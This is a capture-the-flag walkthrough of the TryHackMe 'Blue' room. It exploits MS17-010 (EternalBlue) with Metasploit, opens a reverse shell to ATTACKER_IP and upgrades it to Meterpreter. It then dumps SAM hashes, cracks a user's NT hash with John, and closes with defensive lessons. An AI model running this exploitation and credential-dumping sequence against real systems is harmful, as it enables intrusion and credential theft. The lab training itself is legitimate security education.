Blue
Executive summary — Blue is an Easy Windows room on TryHackMe built around MS17-010 (EternalBlue), the SMBv1 flaw that powered WannaCry. An Nmap vulnerability scan confirms the unpatched SMB service on a Windows 7 SP1 host, Metasploit'sms17_010_eternalbluemodule delivers a shell that already runs asNT AUTHORITY\SYSTEM, the shell is upgraded to Meterpreter, the NT hash of the only non-default user is dumped and cracked with John, and three flags are looted from the filesystem. A Scan → EternalBlue → SYSTEM → Hashdump → Crack journey.
| Platform | TryHackMe |
| Operating system | Windows |
| Difficulty | Easy |
| Room | Blue |
| Target IP | MACHINE_IP |
Attack map
[445/SMB] Windows 7 SP1 x64, SMBv1 unpatched
| nmap --script vuln -> smb-vuln-ms17-010 (VULNERABLE)
v
[EXPLOIT] Metasploit ms17_010_eternalblue (kernel pool corruption)
| shell as NT AUTHORITY\SYSTEM
v
[UPGRADE] shell_to_meterpreter -> migrate into a SYSTEM process
| hashdump
v
[CRACK] NT hash of user Jon -> john + rockyou -> plaintext password
| where /R C:\ flag*
v
[LOOT] flag1 (system root), flag2 (config dir), flag3 (Jon's Documents)
1. Reconnaissance
The room warns that the target does not answer ICMP, so a ping sweep would wrongly suggest it is down. Nmap's own host discovery also sends TCP probes, which is why the scan below still works. Because the goal is to learn which known vulnerability the host has, we combine service detection with the vuln NSE script category:
nmap -sV -vv --script vuln MACHINE_IP
-sVfingerprints the version of each open service, which tells us we are dealing with Windows rather than guessing from the ports.-vvprints open ports as soon as they are found, useful because the NSE phase takes a couple of minutes.--script vulnruns every script in the "vuln" category, which only checks for known flaws and does not exploit them.
The relevant results:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open tcpwrapped
49152-49160/tcp open msrpc Microsoft Windows RPC (49152, 49153, 49154, 49158, 49160)
Service Info: Host: JON-PC; OS: Windows
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
Analysis: three ports are below 1000 (135, 139, 445). The classic Windows trio of RPC, NetBIOS and SMB is exposed, the high 491xx ports are dynamic RPC endpoints, and the host nameJON-PChints at a user called Jon. The decisive line is thesmb-vuln-ms17-010result: the machine is vulnerable to MS17-010. The script reports CVE-2017-0143, but the bulletin covers a family of SMBv1 bugs (CVE-2017-0143 to CVE-2017-0148); EternalBlue, as implemented in Metasploit, is most commonly associated with CVE-2017-0144.
2. Background: what is MS17-010?
MS17-010 is the Microsoft security bulletin of 14 March 2017 that fixed several remote code execution flaws in the SMBv1 server driver (srv.sys and friends). The exploits for them (EternalBlue, EternalRomance, EternalChampion, EternalSynergy) were part of the toolset leaked by the Shadow Brokers in April 2017, and EternalBlue was then used by the WannaCry and NotPetya outbreaks.
In EternalBlue, a size calculation on the list of extended file attributes in a malformed SMBv1 transaction goes wrong (a 32-bit value is truncated to 16 bits), which causes a buffer overflow in the kernel's non-paged pool. The exploit "grooms" the pool with crafted SMB buffers so that the overflow lands on attacker-controlled data, then takes over execution in kernel context. That is why the resulting shell is SYSTEM, not an ordinary user, and why no credentials are needed.
3. Gaining access with Metasploit
msfconsole
msf6 > search ms17-010
The search returns several modules; the interesting ones are:
exploit/windows/smb/ms17_010_eternalblue: the EternalBlue exploit proper, aimed at Windows 7 / Server 2008 R2 and later.exploit/windows/smb/ms17_010_psexec: the EternalRomance/Synergy/Champion variants, which need a reachable named pipe and are handy on other versions.auxiliary/scanner/smb/smb_ms17_010: a safe detection-only scanner.
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS MACHINE_IP
set LHOST ATTACKER_IP
The only mandatory value left empty is RHOSTS, the target. LHOST is where the payload connects back; Metasploit often auto-fills it from the VPN interface, but it is worth confirming. The room asks us to switch to a plain command shell payload to practise the upgrade process later:
set payload windows/x64/shell/reverse_tcp
exploit
The module first runs its own vulnerability check, then grooms the pool and fires the overflow. Key lines of the output:
[+] MACHINE_IP:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[+] MACHINE_IP:445 - Target OS selected valid for OS indicated by SMB reply
[*] MACHINE_IP:445 - Starting non-paged pool grooming
[+] MACHINE_IP:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[+] MACHINE_IP:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] MACHINE_IP:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Analysis: the status 0xC000000D (STATUS_INVALID_PARAMETER) looks like an error but is the expected sign that the overflow succeeded. The module's rank is "average", meaning it can crash the target (a blue screen) if the grooming fails, so if it does not work first time, wait for the machine to come back or restart it and retry. The room's own copy of the box is a Windows 7 Professional SP1 x64 system; the module's "Automatic Target" picks the matching profile.
4. Escalation: upgrading the shell
EternalBlue already hands us NT AUTHORITY\SYSTEM, so there is nothing to escalate in the strict sense; the room's goal is to learn how to turn a basic shell into a Meterpreter session, which offers file transfer, hash dumping and process migration. We background the session (Ctrl+Z) and use the post module:
use post/multi/manage/shell_to_meterpreter
show options
sessions -l
set SESSION 1
run
sessions -i 2
The only option that must be changed is SESSION: it tells the module which existing shell to upgrade. It starts its own handler on port 4433, uploads and runs a Meterpreter stager through the shell, and opens a new session (here number 2). Inside Meterpreter, getsystem answers "Already running as SYSTEM", confirming the privilege level.
Migrating to a stable process
Being SYSTEM does not mean the process we live in is robust. Our session sits inside whatever process the exploit injected into (here a PowerShell process), which can exit or be killed. Listing processes with ps and picking one that runs as SYSTEM and is long-lived, we migrate into it. The walkthrough chose winlogon.exe (PID 648 on that boot; your PID will differ):
meterpreter > ps
meterpreter > migrate 648
[*] Migrating from 1240 to 648...
[*] Migration completed successfully.
Migration matters for later steps too: hashdump must read the SAM and needs a process with the right token and architecture. Moving into a native x64 SYSTEM process avoids the common failures caused by an x86 or unprivileged host process.
5. Dumping and cracking credentials
meterpreter > hashdump
The output follows the format user:RID:LM hash:NT hash::::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
Reading it:aad3b435...04eeis the well-known "empty" LM hash (LM storage is disabled), and31d6cfe0...c089c0is the NT hash of an empty password, which Administrator and Guest share (they have no password set here). The only non-default account, with RID 1000 (the first user created), is Jon.
We save only the NT part to a file and crack it offline. The nt format tells John it is an NTLM (MD4) hash; because NT hashes are unsalted and fast, a wordlist attack is nearly instant:
echo 'ffb43f0de35be4d9917ac0cc8ad57f8d' > jon.hash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=nt jon.hash
john --show --format=nt jon.hash
John recovers the password alqfna22 within a second. A pass-the-hash attack would have worked just as well for movement, but the room wants the plaintext.
6. Finding the flags
The three "flags" mimic interesting Windows locations. From a Meterpreter session we drop into a native shell and use where /R, the Windows recursive file finder, with a wildcard:
meterpreter > shell
C:\Windows\system32> where /R C:\ flag1*
C:\flag1.txt
C:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag1.lnk
C:\Windows\system32> type C:\flag1.txt
| Flag | Location | Why it is meaningful |
|---|---|---|
| flag1 | C:\flag1.txt | The system root: files here are readable but a standard place to stash artefacts. |
| flag2 | C:\Windows\System32\config\flag2.txt | The directory holding the SAM, SECURITY and SYSTEM hives, i.e. where Windows stores password material. |
| flag3 | C:\Users\Jon\Documents\flag3.txt | A user's Documents folder: a prime place to loot after privilege escalation. |
The same where /R C:\ flag2* and flag3* searches locate the other two; each flag is read with type. The values are FLAG (redacted here). Note the .lnk files in Jon's Recent folder: Windows records shortcuts to recently opened files, which makes that folder a quick way to find what a user touched.
The room warns that flag2 sits in a folder Windows is hostile to and may occasionally disappear; if it is missing, restart the machine and re-run the exploit.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Initial access | SMBv1 server (TCP 445) | MS17-010 / EternalBlue, unauthenticated kernel pool overflow | Remote code execution as SYSTEM |
| Post-exploitation | Local SAM database | Hashes readable by SYSTEM; empty passwords on Administrator and Guest | Credential dump |
| Credential access | User Jon | Weak password present in rockyou, unsalted NT hash | Plaintext credentials in seconds |
| Exposure | Host configuration | RDP and RPC exposed, patch level outdated | Large attack surface |
Lessons learned
- Patch and retire SMBv1. The fix shipped on 14 March 2017; disabling SMBv1 entirely (
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocolon modern Windows) removes the whole bug class. - Never expose port 445 to untrusted networks; filter it at the perimeter and segment internal hosts.
- Remote code execution in the kernel means SYSTEM immediately: there is no privilege escalation step to detect, so detection must focus on exploitation (IDS signatures, SMB anomalies, crashes of
srv.sys). - NT hashes are as good as passwords. Use long, unique passwords; a rockyou word falls instantly. Empty passwords on built-in accounts should never exist.
- Offensive tips: use a detection-only check first (
smb_ms17_010scanner or the Nmap script), expect the "average"-rank module to occasionally crash the target, and migrate into a stable SYSTEM process before dumping credentials.